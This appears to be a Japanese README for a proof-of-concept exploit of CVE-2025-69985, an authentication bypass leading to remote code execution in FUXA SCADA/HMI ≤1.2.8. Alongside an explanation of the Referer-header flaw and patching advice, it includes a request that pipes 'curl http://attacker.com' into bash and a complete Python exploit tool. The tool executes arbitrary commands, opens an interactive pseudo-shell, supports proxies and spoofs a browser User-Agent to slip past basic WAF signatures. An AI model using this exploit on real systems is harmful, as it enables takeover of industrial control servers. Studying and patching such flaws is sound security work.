
CVE-2025-69985 の PoC エクスプロイト:FUXA SCADA ≤1.2.8 における認証バイパスから RCE に至るもの。インタラクティブシェル、Base64 ペイロードエンコーディング、プロキシサポートを含むモジュラー型 Python エクスプロイトを備え、侵入テストに利用可能。
このリポジトリには、FUXA(バージョン ≤1.2.8)に影響する脆弱性 CVE-2025-69985 に関する概念実証(PoC)と詳細な技術文書が含まれています。この脆弱性により、攻撃者は認証されていない状態で、アプリケーションのミドルウェアにおける認証バイパスを介してサーバー上で任意のコマンドを実行(RCE)できます。
従来のWindowsのメモリオーバーフローなどの脆弱性とは異なり、この欠陥はミドルウェアの論理的な弱点にあり、サーバーはRefererヘッダーの不適切な検証により外部からのリクエストを内部からのリクエストと誤認します。
| CVE | CVE-2025-69985 |
|---|---|
| タイプ | 代替パスによる認証バイパス(CWE-288) |
| 影響 | リモートコード実行(RCE) |
| 深刻度 | 9.8 緊急 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 影響を受けるバージョン | FUXA ≤ 1.2.8 |
| プラットフォーム | Node.js |
| 製品 | FUXA(WebベースのSCADA/HMI) |
FUXAのミドルウェアはRefererヘッダーを盲目的に信頼します。攻撃者が次のようなリクエストを送信すると:
Referer: http://<target-ip>/
サーバーはそのリクエストが内部からのものであると見なし、JWTトークンの検証を省略し、認証されていない状態で保護されたエンドポイントへのアクセスを許可します。
認証を回避した後、攻撃者はNode.jsスクリプトを実行するために設計されたエンドポイント/api/runscriptと対話できます。悪意のあるJSONペイロードを送信することで、サーバープロセスに対する完全な制御が得られます。
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ 注記: この例は説明目的です。許可なく本番環境で実行しないでください。
| 製品 | バージョン | プラットフォーム |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
即時アップデート FUXAを1.2.8より上のバージョン(公式パッチ)にアップデートしてください。
手動パッチ
server/api/jwt-helper.jsを修正し、認証方法としてRefererヘッダーへの依存を排除してください。
WAFの導入
Web Application Firewallを設定し、Refererヘッダーに関係なく、既知の管理ネットワークから発信されない/api/runscriptエンドポイントへのリクエストをブロックしてください。
🔴 この資料は教育およびセキュリティ監査のみを目的としています。 🔴 明示的な許可なくこれらのテクニックをシステムに対して使用することは違法です。 🔴 著者はこの情報の悪用について一切の責任を負いません。
高度な機能により、このエクスプロイトはプロフェッショナルレベル(Exploit-DBやRed Teamツール風)に引き上げられます:
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# 見た目の設定
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""攻撃前にエンドポイントが存在するか確認します。"""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # WAF/アプリの設定に依存
except Exception:
return False
def execute(self, command: str) -> str:
# 改善されたペイロード: Base64エンコードでJSONの破損を防止
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-c", "--cmd", help="Single command to execute")
parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"Targeting: {args.url}")
if args.interactive:
Logger.success("Entering interactive mode. Type 'exit' to quit.")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"Executing: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
⚠️ 責任ある使用: 管理された環境でのみ、明示的な許可を得て実行してください。
| 機能 | 説明 |
|---|
| 🔹 動的シェル処理 | --interactive(-i)モードにより、インタラクティブなREPLを開き、複数のコマンドを実行できます。 |
| 🔹 検出とフィンガープリンティング | 攻撃を開始する前にエンドポイント/api/runscriptが存在するか確認します(check_vulnerable())。 |
| 🔹 改善されたペイロード | コマンドをBase64でエンコードし、文字のエスケープ問題(&、>、"など)を回避します。 |
| 🔹 ネットワークの堅牢性 | ランダムなUser-Agentとプロキシ(Burp Suiteやデバッグに便利)をサポートします。 |
| 🔹 OOP(オブジェクト指向プログラミング) | モジュール化され、再利用可能で拡張可能なFuxaExploitクラス。 |
| 機能 | 利点 |
|---|
| 🔹 OOP | モジュール性: FuxaExploitクラスは他のスクリプトやツールにインポート可能。 |
| 🔹 Base64バイパス | 複雑なコマンド(例: &、>、"など)のエスケープ問題を回避。 |
🔹 擬似シェル(-i) | スクリプトを再起動せずにインタラクティブにシステムを調査可能。 |
| 🔹 プロキシサポート | Burp Suiteやmitmproxyなどのツールを使用したデバッグに便利。 |
| 🔹 リアルなヘッダー | ブラウザのUser-Agentで基本的なWAFのシグネチャを回避。 |